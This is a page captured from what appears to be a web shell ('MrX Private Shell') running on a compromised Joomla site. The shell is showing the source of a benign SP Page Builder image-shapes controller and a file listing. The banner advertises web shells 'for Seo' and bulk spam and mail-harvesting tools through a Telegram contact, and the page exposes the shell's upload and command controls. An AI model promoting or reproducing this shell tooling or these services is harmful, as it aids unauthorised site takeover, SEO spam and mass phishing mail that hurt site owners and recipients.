__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Controller\FormController;
use Joomla\CMS\Response\JsonResponse;

/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2024 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

//no direct access
defined('_JEXEC') or die('Restricted access');

require_once JPATH_ROOT . '/administrator/components/com_sppagebuilder/editor/traits/ImageShapesTrait.php';

class SppagebuilderControllerImage_shapes extends FormController
{
    use ImageShapesTrait;

    public function getImageShapesAPI()
    {
        $response = $this->processGetImageShapes();
        $this->sendResponse($response['response'], $response['statusCode']);
    }

    public function addImageShapeAPI()
    {
        $input = Factory::getApplication()->input;
        $shape = $input->json->get('shape', '', 'base64');

        if (empty($shape)) {
            $response['message'] = 'Information missing';
            $this->sendResponse($response, 400);
        }

        $response = $this->processAddImageShape($shape);
        $this->sendResponse($response['response'], $response['statusCode']);
    }

    public function updateImageShapeAPI()
    {
        $input = Factory::getApplication()->input;
        $id = $input->json->get('id', '', 'STRING');
        $name = $input->json->get('name', '', 'STRING');
        $shape = $input->json->get('shape', '', 'STRING');

        if (empty($id) || empty($name) || empty($shape)) {
            $response['message'] = 'Information missing';
            $this->sendResponse($response, 404);
        }

        $response = $this->processUpdateImageShape($id, $name, $shape);
        $this->sendResponse($response['response'], $response['statusCode']);
    }

    public function deleteImageShapeAPI()
    {
        $input = Factory::getApplication()->input;
        $id = $input->json->get('id', '', 'INT');

        if (empty($id)) {
            $response['message'] = 'Information missing';
            $this->sendResponse($response, 404);
        }

        $response = $this->processDeleteImageShape($id);
        $this->sendResponse($response['response'], $response['statusCode']);
    }

    /**
     * Send JSON Response to the client.
     *
     * @param	array	$response	The response array or data.
     * @param	int		$statusCode	The status code of the HTTP response.
     *
     * @return	void
     * @since	5.0.0
     */
    private function sendResponse($response, int $statusCode = 200): void
    {
        /** @var CMSAPplication */
        $app = Factory::getApplication();
        $app->setHeader('status', $statusCode, true);
        $app->sendHeaders();
        echo new JsonResponse($response);
        $app->close();
    }
}

Filemanager

Name Type Size Permission Actions
ai_content.php File 18.63 KB 0664
asset.php File 16.27 KB 0664
color.php File 1.52 KB 0664
font.php File 1.83 KB 0664
image_shapes.php File 2.74 KB 0664
media.php File 27.57 KB 0664
page.php File 26.13 KB 0664
saved_items_order.php File 2.03 KB 0664
Filemanager